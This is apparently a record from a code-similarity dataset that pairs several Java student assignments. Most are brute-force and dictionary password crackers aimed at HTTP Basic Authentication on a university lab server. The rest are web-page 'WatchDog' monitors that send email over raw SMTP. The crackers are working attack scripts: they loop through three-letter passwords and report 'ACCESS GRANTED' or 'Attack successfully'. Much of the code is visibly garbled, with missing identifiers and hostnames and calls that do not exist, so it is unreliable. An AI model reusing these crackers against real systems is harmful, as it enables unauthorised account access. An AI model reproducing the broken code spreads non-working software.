		}
	      }

            } 
	  } 
	} 
	
	
	String emailBody="Changes   have been . \n"+additions+subtractions;

	
	sendEmail(emailBody);
      }

      
      writeData(currentPage);
      
      
      wait24(startTime);
    } 
  } 
  
  
  private static void wait24( int startTime) {
     boolean waiting=true;
     while(waiting){
       Date endDate = new Date();
        endTime=endDate.getTime();
       
       
       if (endTime>(TIMELIMIT+startTime)){
         
          waiting=false;
       }	
     }
  } 
     
  
  public static String readData() {
    String data;
    String lastPage="";
    try {
      BufferedReader in = new BufferedReader(new FileReader("LastVisitedPage.html"));
      while ((data = in.readLine())!=null) {
        lastPage= lastPage + data +"\n";
      }
      
    }
    catch (FileNotFoundException e1) {
      System.exit(0);
    }
    catch (IOException e2) {
      System.out.println("IO Exception, exiting");
      System.exit(0);
    }	    
    finally {
      try {
	if (null!=in) {
        in.next();
	}
    }
    catch (IOException e3) {}
    }
    return lastPage;
  }
  
  
  public static void writeData(String currentPage) {
    PrintWriter out;
      try {
	out = new PrintWriter (new BufferedWriter(new FileWriter("LastVisitedPage.html")));
	out.println(currentPage);
	
	
      }
      catch (IllegalArgumentException e1) {
	System.out.println ("Sorry, 't write  file. None of changes in this session have been saved");
	System.exit(0);
      }
      catch (IOException e2) {
	System.out.println ("Sorry, 't write  file. None of changes in this session have been saved");
	System.exit(0);
	}
      finally {}    
  }  

 
 
 
  public static void sendEmail(String emailBody){
    
    Socket smtpSocket =null;
    DataOutputStream os = null;
    InputStreamReader is = null ;

    Date dDate = new Date();
    DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);

    try{ 
      smtpSocket = new Socket(".rmit.edu.", 25);
      os = new DataOutputStream(smtpSocket.getOutputStream());
      is = new InputStreamReader(smtpSocket.getInputStream());
      BufferedReader  = new BufferedReader(is);

      if(smtpSocket != null && os != null && is != null){ 
      
	try {   
	  os.writeBytes("HELO .rmit.edu.\r\n");
	  
	  
	  os.writeBytes("MAIL From: <@.rmit.edu.>\r\n");

	  
	  os.writeBytes("RCPT : <@cs.rmit.edu.>\r\n");

	  
	  
	  os.writeBytes("DATA\r\n");

	  os.writeBytes("X-Mailer: Via Java\r\n");
	  os.writeBytes("DATE: " + dFormat.format(dDate) + "\r\n");
	  os.writeBytes("From:  <@cs.rmit.edu.>\r\n");
	  os.writeBytes(":   <@cs.rmit.edu.>\r\n");

	  os.writeBytes("Subject:  updated\r\n");
	  os.writeBytes(emailBody + "\r\n");
	  os.writeBytes("\r\n.\r\n");
	  os.writeBytes("QUIT\r\n");

	  
	  
	  String responseline;
	  while((responseline=is.readLine())!=null){  
            
            if(responseline.indexOf("Ok") != -1) {
            break;
            }
	  }
	}
	catch(Exception e){  
	  System.out.println("Cannot send email as  error occurred.");  
	}
      }
      else 
	System.out.println("smtpSocket  another variable is null!");
    } 
    catch(Exception e){ 
      System.out.println("Host unknown"); 
    }
  } 
   
} 


, 	


import java.io.*;
import java.net.*;

import java.util.*;

import java.misc.BASE64Encoder;

public class BruteForce {

  private String userId;
  private String password;

  private StringBuffer seed= new StringBuffer("aaa");
  private int tries = 1;	


	
  public BruteForce() {


    
    Authenticator.setDefault (new MyAuthenticator());
  }

  public String fetchURL (String urlString) {
	HttpURLConnection connection;
	StringBuffer sb = new StringBuffer();
	Date startTime, endTime;
	int responseCode = -1;
	boolean retry = true;	
	
    URL url;
    startTime = new Date();
    
    System.out.println (" time :" + startTime);

	while (retry == true)
	{
	
	    try {

			url = new URL (urlString);

			connection = (HttpURLConnection)url.openConnection();

			setUserId("");
			setPassword("rhk8611");

			System.out.println("Attempting  get a response : " +connection.getURL() );
			responseCode = connection.getResponseCode();
			System.out.print(responseCode + " ");

			if (responseCode == HttpURLConnection.HTTP_OK) 
			{
				retry = false;
				System.out.println("**** ACCESS GRANTED *****");
			} else
			{
				retry = true;
				throw new IOException(
					"HTTP response : " + String.valueOf(responseCode) + 
					"\nResponse Message: " +connection.getResponseMessage());
				
			}

			InputStream content = (InputStream)url.getContent();
			BufferedReader in   = 
			new BufferedReader (new InputStreamReader (content));
			String line;
				while ((line = in.readLine()) != null) {
					sb.append(line);
				}
			} catch (MalformedURLException e) {
				
				retry=false;
				System.out.println ("Invalid URL" + e.getMessage());
			} catch (IOException e) {
				
				retry=true;
				connection = null;
				System.out.println ("Error  URL \n" + e.getMessage());
			}
		}	
		endTime = new Date();
		System.out.print ("Total Time taken :" + (endTime.getTime() - startTime.getTime())/1000*60 + " Minutes ");
		System.out.println ((endTime.getTime() - startTime.getTime())/1000 + " Sec");
		
		
	return sb.toString();
  }


  public static void main (String args[]) {
	BruteForce myGenerator = new BruteForce();


	


	System.out.println("Starting seed is : "+ myGenerator.getSeed() );
	String pageFound = myGenerator.fetchURL("http://sec-crack.cs.rmit.edu./SEC/2/");
		
	System.out.println(" ACCESSED ->\n" + pageFound);
  }

  class MyAuthenticator extends Authenticator {
    protected PasswordAuthentication getPasswordAuthentication()
	{
		String username = getUserId();
		String pass = getPassword();	
		if (pass.equals("ZZZ"))
		{
			System.out.println("\nReached the end of combinations. EXITING.\n");
			System.exit(0);
		}
		if ((tries % 8) == 0 )
		{
			pass = "" + getNextPassword();
		}else 
		{
			pass = ""+ getNextPasswordCase(""+getSeed(), tries%8);
		}
		tries ++;

	  System.out.println(tries + " Authenticating with -> " + pass);

	  return new PasswordAuthentication (username, pass.toCharArray());
	  
    }
  }
	
	public String getPassword()
	{
		return this.password;
	}

	public void setPassword(String password)
	{
		this.password = password;
	}

	
	public String getUserId()
	{
		return this.userId;
	}

	public void setUserId(String userId)
	{
		this.userId = userId;
	}

	public StringBuffer getNextPassword()
	{
		final int STRING_RADIX = 36;
		
		int changeDigit;
		int dig;
		char cdig;
		
		
		changeDigit = 2;
		if (getSeed().charAt(changeDigit) < 'z')
		{
			dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
			dig = dig + 1;
			cdig = Character.forDigit(dig, STRING_RADIX);
			seed.setCharAt(changeDigit,cdig);
				
		} else
		{
			
			seed.setCharAt(2,'a');
			
			
			changeDigit = 1;
			if (getSeed().charAt(changeDigit) < 'z')
			{
				dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
				dig = dig + 1;
				cdig = Character.forDigit(dig, STRING_RADIX);
				seed.setCharAt(changeDigit,cdig);
			} else
			{
				
				seed.setCharAt(2,'a');
				
				seed.setCharAt(1,'a');
				
				
				changeDigit = 0;
				if (getSeed().charAt(changeDigit) < 'z')
				{
					dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
					dig = dig + 1;
					cdig = Character.forDigit(dig, STRING_RADIX);
					seed.setCharAt(changeDigit,cdig);
				}
				
			}
			
		}

		return getSeed();
	
	}

	private StringBuffer getNextPasswordCase(String pwd, int inx)
	{
		StringBuffer casePwd = new StringBuffer(pwd);
		char myChar;
		switch (inx)
		{
			case 1:
				myChar = pwd.charAt(0);
				casePwd.setCharAt(0, Character.toUpperCase(myChar));
				break;
			case 2:
				myChar = pwd.charAt(1);
				casePwd.setCharAt(1, Character.toUpperCase(myChar));
				break;
			case 3:
				myChar = pwd.charAt(2);
				casePwd.setCharAt(2, Character.toUpperCase(myChar));
				break;
			case 4:
				myChar = pwd.charAt(0);
				casePwd.setCharAt(0, Character.toUpperCase(myChar));
				myChar = pwd.charAt(1);
				casePwd.setCharAt(1, Character.toUpperCase(myChar));
				break;
			case 5:
				myChar = pwd.charAt(0);
				casePwd.setCharAt(0, Character.toUpperCase(myChar));
				myChar = pwd.charAt(2);
				casePwd.setCharAt(2, Character.toUpperCase(myChar));
				break;
			case 6:
				myChar = pwd.charAt(1);
				casePwd.setCharAt(1, Character.toUpperCase(myChar));
				myChar = pwd.charAt(2);
				casePwd.setCharAt(2, Character.toUpperCase(myChar));
				break;
			case 7:
				myChar = pwd.charAt(0);
				casePwd.setCharAt(0, Character.toUpperCase(myChar));
				myChar = pwd.charAt(1);
				casePwd.setCharAt(1, Character.toUpperCase(myChar));
				myChar = pwd.charAt(2);
				casePwd.setCharAt(2, Character.toUpperCase(myChar));
				break;
		}
		return(casePwd);
		
	}	
	public StringBuffer getSeed()
	{
		return this.seed;
	}

	public void setSeed(StringBuffer seed)
	{
		this.seed = seed;
	}



}  


, source_sentence: import java.net.*;
import java.io.*;
import java.*;

 public class BruteForce {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     BruteForce a = new BruteForce();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     int attempts = 0;
     exit:
     for (int i=0;i<pwdArray.length;i++) {
		 for (int j=0;j<pwdArray.length;j++) {
			 for (int k=0;k<pwdArray.length;k++) {
				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
				 attempts++;
     			 a.doit(inp);
  
  				 if (status) {
					 System.out.println("Crrect password is: " + inp[2]);
					 System.out.println("Number of attempts = " + attempts);
					 break exit;
			 	 }
     			 inp[2] = "";
		 	 }
	 	 }
      }
     }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char pwdArray [] = {
	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
	        'W', 'X', 'Y', 'Z', ' '
  };

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }


sentences: 

import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;



public class BruteForce
{
   private URL url;
   private HttpURLConnection connection ;
   private  int stopTime = 0;
   private  int startTime = 0;
   private  int count = 0;

   public BruteForce()
   {
      System.out.println("Process is running...");
      startTime = System.currentTimeMillis();
      threeLetters();
      twoLetters();
   }

   public static void main (String args[])
   {
      BruteForce bf = new BruteForce();
   }
   
   public void threeLetters()
   {
      String s1;
      char [] a = {'a','a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            for (int i2 = 0; i2 < 26; i2++)
            {
               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;
            }
         }
      }
   }
   
   public void twoLetters()
   {
      String s1;
      char [] a = {'a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;

            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                 (String.valueOf((char)(a[1] + i1))).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;
         }
      }
   }

   
   public void decision(String s1)
   {
      if (find(s1) == 200)
      {
         stopTime = System.currentTimeMillis();
          runTime = stopTime - startTime;
         System.out.println("***************************************");
         System.out.println("\nAttack successfully");
         System.out.println("\nPassword is: " + s1);
         System.out.println("\nThe contents of the Web site: ");
         displayContent(s1);
         System.out.println("\nTime taken  crack: " + runTime + " millisecond");
         System.out.println("\nNumber of attempts: " + count);
         System.out.println();

         System.exit(0);
      }
   }
   
   
   public int find(String s1)
   {
      int responseCode = 0;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1));

         responseCode = connection.getResponseCode();

      }catch (Exception e)
      {
          System.out.println(e.getMessage());
      }
      return responseCode;
   }

   
   public void displayContent(String pw)
   {
      BufferedReader bw = null ;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw));
         InputStream stream = (InputStream)(connection.getContent());
         if (stream != null)
         {
             InputStreamReader reader = new InputStreamReader (stream);
             bw = new BufferedReader (reader);
             String line;

             while ((line = bw.readLine()) != null)
             {
                System.out.println(line);
             }
        }
      }
      catch (IOException e)
      {
         System.out.println(e.getMessage());
      }
   }
}




, 

import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;

public class Dictionary extends Frame implements ActionListener {

  private TextField tf = new TextField();
  private TextArea  ta = new TextArea();

  public void actionPerformed (ActionEvent e) {
	  String s = tf.getText();
	  String login="";
   try{
	  BufferedReader bufr = new BufferedReader
			(new FileReader ("words1.txt"));
	  String inputLine="";



	  if (s.length() != 0)
      {
		  inputLine = bufr.readLine();
		  while ((inputLine != null) && (inputLine.length() != 3))
		  {
			  
			  inputLine = bufr.readLine();
		  }

           login=":"+inputLine;
		   ta.setText (fetchURL (s,login));
		   System.out.println("runing"+login);
	   }while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error  URL")!=0);

	   System.out.println("The password is: "+inputLine);
}
catch(Exception ex){}

 }

  public Dictionary() {

    super ("URL11 Password");

    
     add (tf, BorderLayout.LEFT);
     ta.setEditable(false);
     add (ta, BorderLayout.CENTER);
     tf.addActionListener (this);
     addWindowListener (new WindowAdapter() {
       public void windowClosing (WindowEvent e) {
         dispose();
         System.exit(0);
       }
     });
   }

  private String fetchURL (String urlString,String login) {
     StringWriter sw = new StringWriter();
     PrintWriter  pw = new PrintWriter();

    try {
       URL url = new URL (urlString);

     
       MyAuthenticator  = new MyAuthenticator();
       

      
       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());

      
       

      
       URLConnection uc = url.openConnection();
       uc.setRequestProperty  ("Authorization", " " + encoding);
       InputStream content = (InputStream)uc.getInputStream();
       BufferedReader in   =
         new BufferedReader (new InputStreamReader (content));
       String line;
       while ((line = in.readLine()) != null) {
         pw.println (line);
       }
     } catch (MalformedURLException e) {
       pw.println ("Invalid URL");
     } catch (IOException e) {
       pw.println ("Error  URL");
     }
     return sw.toString();
   }


  public static void main (String args[]) {
     Frame f = new Dictionary();
     f.setSize(300, 300);
     f.setVisible (true);
   }

  class MyAuthenticator {
     String getPasswordAuthentication(Frame f, String prompt) {
       final Dialog jd = new Dialog (f, "Enter password", true);
       jd.setLayout (new GridLayout (0, 1));
       Label jl = new Label (prompt);
       jd.add (jl);
       TextField username = new TextField();
       username.setBackground (Color.lightGray);
       jd.add (username);
       TextField password = new TextField();
       password.setEchoChar ('*');
       password.setBackground (Color.lightGray);
       jd.add (password);
       Button jb = new Button ("OK");
       jd.add (jb);
       jb.addActionListener (new ActionListener() {
         public void actionPerformed (ActionEvent e) {
           jd.dispose();
         }
       });
       jd.pack();
       jd.setVisible(true);
      return username.getText() + ":" + password.getText();

     }
   }

}
      

     class  Base64Converter
      
      
      {

     public static final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 

     
      

     public static String  encode ( String  s )
      
      {
        return encode ( s.getBytes ( ) );
      }

     public static String  encode ( byte [ ]  octetString )
      
      {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
        {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ];
        }

       if ( octetString.length - i == 2 )
        {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '=';
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '=';
          out [ outIndex++ ] = '=';
        }

       return new String ( out );
      }

     
      
      }

, 

import java.io.*;
import java.net.*;
import java.util.Properties;
import java.security.*;

public class WatchDog
{
    private String file,tempfile1,tempfile2,tempfile3;
	private final String host="yallara.cs.rmit.edu.";
    private final String email="@cs.rmit.edu.";
    private final String from="watchdog@cs.rmit.edu.";
    private final String subject="SUBJECT:Mail from Watchdog about the changes  the web-.";
    private String baseURL="";
	private String msg;
	private boolean firstTime=false;
    public WatchDog(boolean flag)
	{
		firstTime=flag;
	}

    public void startWatching(String[] urls,String fl)
    {
		file=fl;
		tempfile1=fl+"/temp1.log";
		tempfile2=fl+"/temp2.log";
		tempfile3=fl+"/temp3.log";
		System.out.println(tempfile3);

		msg="";
		for(;;)
		{
			try
			{

				for(int o=0;o<urls.length;o++)
				{
					file=fl+"/ass2_"+o+".log";
					URL u=new URL(urls[o]);
					String f=u.getFile();
					String url=urls[o];
					if(f.lastIndexOf('.')<f.lastIndexOf('/'))
					{
						url=f.substring(0,f.lastIndexOf('/'));
						url=u.getProtocol()+"://"+u.getHost()+url;
					}
					System.out.println(url);
					watch(url);
					msg=msg+"\n\n";
				}
				if(firstTime==false)
				{
			     boolean flag=mail(msg);
			     if(flag)
					System.out.println("mail sent");
				 else
					System.out.println("mail not sent");
  				 Thread.sleep(1000*60*60*24);
				}
				else
					System.exit(0);
			}
			catch(Exception e)
			{
				e.printStackTrace();
			}
		}			
    }

	private void watch(String url) throws IOException
	{
		     baseURL=url;
		     msg=msg+"Going  check the URL "+url+".\n";
	             
		     String pageText=getResource(url);

			 String [] images=getImages(pageText);

			 if(firstTime==false)
	             msg= msg + checkChange(pageText,images);	     

		     msg=msg+". Checked at "+new java.util.Date(System.currentTimeMillis())+".";

		     log(pageText,images);

			if(firstTime)
				System.out.println("Re-run the watchDog (without the First flag).");
	}
	private String checkChange(String pageText,String [] images) throws IOException
	{
		
		PrintWriter out=new PrintWriter(new FileOutputStream(tempfile1));
		out.println(pageText);
		out.flush();
		out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
		out.flush();
		out.print();
		out=null;

		BufferedReader in1=new BufferedReader(new FileReader(file));
		BufferedReader in2=new BufferedReader(new FileReader(tempfile1));	
		String msg="\n";
        	String temp1="",temp2="",oldText="",newText="";

		
		BufferedReader in0=new BufferedReader(new FileReader(tempfile1));
		while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false)
		{
			temp1=in0.readLine();
			temp1=temp1+"\n";
			newText=newText+temp1;
		}
		in0.print();
		in0=null;
		
		out=new PrintWriter(new FileOutputStream(tempfile1));
		out.println(newText);
		out.flush();
		out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
		out.flush();
		out.print();
		out=null;
		newText="";
		temp1="  ";

		while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false)
		{
			temp1=in1.readLine();
			temp1=temp1+"\n";
			temp2=in2.readLine();
			temp2=temp2+"\n";
			oldText=oldText+temp1;
			newText=newText+temp2;
		}		

		in2.print();
		in2=null;

		out=new PrintWriter(new FileOutputStream(tempfile2));
		out.println(oldText);
		out.flush();
		out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
		out.flush();
		out.print();
		out=null;

		msg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);
		String data="";
		try{
			FileReader fin=new FileReader(tempfile3);
			int ch=fin.print();
			while(ch!= -1)
			{
			       data=data+""+(char)ch;
				   ch=fin.print();
			}
		}
		catch(FileNotFoundException m){}

		msg=msg+data;

		temp1=in1.readLine();

		int numImg=Integer.parseInt(temp1);
		if(numImg != images.length)
			msg=msg+"The number of images has chnaged.\n The number of images before was "+numImg+" \n While the number of images found now is "+images.length+" .\n";
		else
			msg=msg+" is  change in the number of images  the .\n";

		String iText1="",iText2="";
		
		for(int i=0;i<numImg;i++)
		{
			out=new PrintWriter(new FileOutputStream(tempfile1));
			out.println(images[i]);
			out.flush();
			out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
			out.flush();
			out.print();
			out=null;

			in2=new BufferedReader(new FileReader(tempfile1));
	
			while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false)
			{
			
				temp1=in1.readLine();
				temp1=temp1+"\n";
				temp2=in2.readLine();
				temp2=temp2+"\n";
				iText1=iText1+temp1;
				iText2=iText2+temp2;
			}
			
			in2.print();
			in2=null;

			if(iText1.equals(iText2))
				msg=msg+" is  change in the Image number "+(i+1)+". \n";
			else
				msg=msg+"The Image number "+(i+1)+" has changed. \n";
		}

		return msg;
	}
	private String[] getImages(String text) throws IOException
	{
		String [] images,urls;
		java.util.ArrayList alist=new java.util.ArrayList();
		String t="";
		boolean img=false;
		int len=text.length();
		char ch,last=' ';
		int c=0;
		while(c<len)
		{
			ch=text.charAt(c);
			if(ch=='<')
			{
				last='<';
				t="";
			}
			if(last=='<')
			{
				t=""+ch;
				if(c+2 < len)
					t=t+text.charAt(c+1)+""+text.charAt(c+2);
				if(t.equalsIgnoreCase("img"))
					img=true;
			}
			if(img==true)
				t=+ch;
			if(ch=='>')
			{
				last='>';
				if(img==true)
				{
					
					System.out.println();
					int n=0;
					char tch,tlast=' ';
					String imgPath="",tn="";
					boolean src=false;
					while(n<t.length())
					{
						tch=t.charAt(n);
						tn=""+tch;
						if(src==false && tn.equalsIgnoreCase("s") && (n+2)<t.length())
						{
							tn=tn+t.charAt(n+1)+""+t.charAt(n+2);
							if(tn.equalsIgnoreCase("src"))
							{
								src=true;
								n+=2;
							}
						}
						else if(src==true)
						{
							if(tch!='"')
							{
								if(tch==' ' && imgPath.indexOf('.')!= -1)								
									n=t.length();
								else if(tch==' ' || tch=='=')
									;
								else
									imgPath=imgPath+tch;								
							}
						}
						n++;
					}
					alist.add(imgPath);
				}
				img=false;
		
			}
			c++;
		}
		urls=(String[])alist.toArray(new String[0]); 
		images=new String[urls.length];
		for(int i=0;i<urls.length;i++)
		{
			System.out.println(urls[i]);
			if(urls[i].startsWith("http")==false && urls[i].startsWith("HTTP")==false && urls[i].startsWith("/")==false)
			{
				try
				{
					images[i]=getResource(baseURL+"/"+urls[i]);			
				}
				catch(FileNotFoundException fnfe)
				{
					String f=baseURL+"/"+urls[i];
					images[i]=f.substring(0,f.lastIndexOf('/'));
				}
			}
			else if(urls[i].startsWith("http")==false && urls[i].startsWith("HTTP")==false)	
			{
				try
				{
					images[i]=getResource(baseURL+urls[i]);
				}
				catch(FileNotFoundException fnfe)
				{
					String f=baseURL+urls[i];
					images[i]=f.substring(0,f.lastIndexOf('/'));
				}
			}
			else
			{
				try
				{
					images[i]=getResource(urls[i]);
				}
				catch(FileNotFoundException fnfe)
				{
					images[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));
				}

			}

		}
		return images;
	}
	private void log(String pageText,String[] images) throws IOException
        {
		PrintWriter out=new PrintWriter(new FileOutputStream(file));
		out.println(pageText);
		out.flush();
		out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
		out.flush();	

		if(images.length>0)
		{
			out.println(images.length+"");
			out.flush();	
		}
		for(int i=0;i<images.length;i++)
		{
			out.println(images[i]);
			out.flush();
			out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|");
			out.flush();		
		}	

	}

    public String getResource(String url) throws IOException
	{
				System.out.println("url="+url);
				String urlData=new String("");
                InputStreamReader in=new InputStreamReader(new URL(url).openStream());
                int ch=in.print();
                while(ch!= -1)
                {
                  urlData=urlData+(char)ch;
                  ch=in.print();
                }
		return urlData;
	}

        public boolean mail (String msg) throws IOException
        {
            boolean ret=true;
            try
            {
              Socket csoc=new Socket("yallara.cs.rmit.edu.",25);
              BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));
              PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);
              out.println("HELO "+host);
              System.out.println(in.readLine());
              out.println("MAIL FROM:"+from);
              System.out.println(in.readLine());
              out.println("RCPT :");
              System.out.println(in.readLine());
              out.println("DATA");
              System.out.println(in.readLine());
              out.println("SUBJECT:"+subject);
              System.out.println(in.readLine());
              out.println(msg);
 	      out.println(".");
              System.out.println(in.readLine());
              out.println("QUIT");
              System.out.println(in.readLine());
            }
            catch(Exception e)
            {
              e.printStackTrace();
              System.out.println("Some error occoured while communicating  server");
              ret=false;
 	      return ret;
            }
	    System.out.println("**************************************\nMAIL ->"+msg);
            return ret;
        }

	public static void main (String[] args)
	{
		System.out.println("Usage : \n java WatchDog <space seperated list of urls> <current path> [First] \n {The First at the end is used when running the watch dog for a new URL for the first Time}");
		boolean flag=false;
		int num=args.length-1;
		if(args[args.length-1].equalsIgnoreCase("First"))
		{
			num--;;
			flag=true;
		}
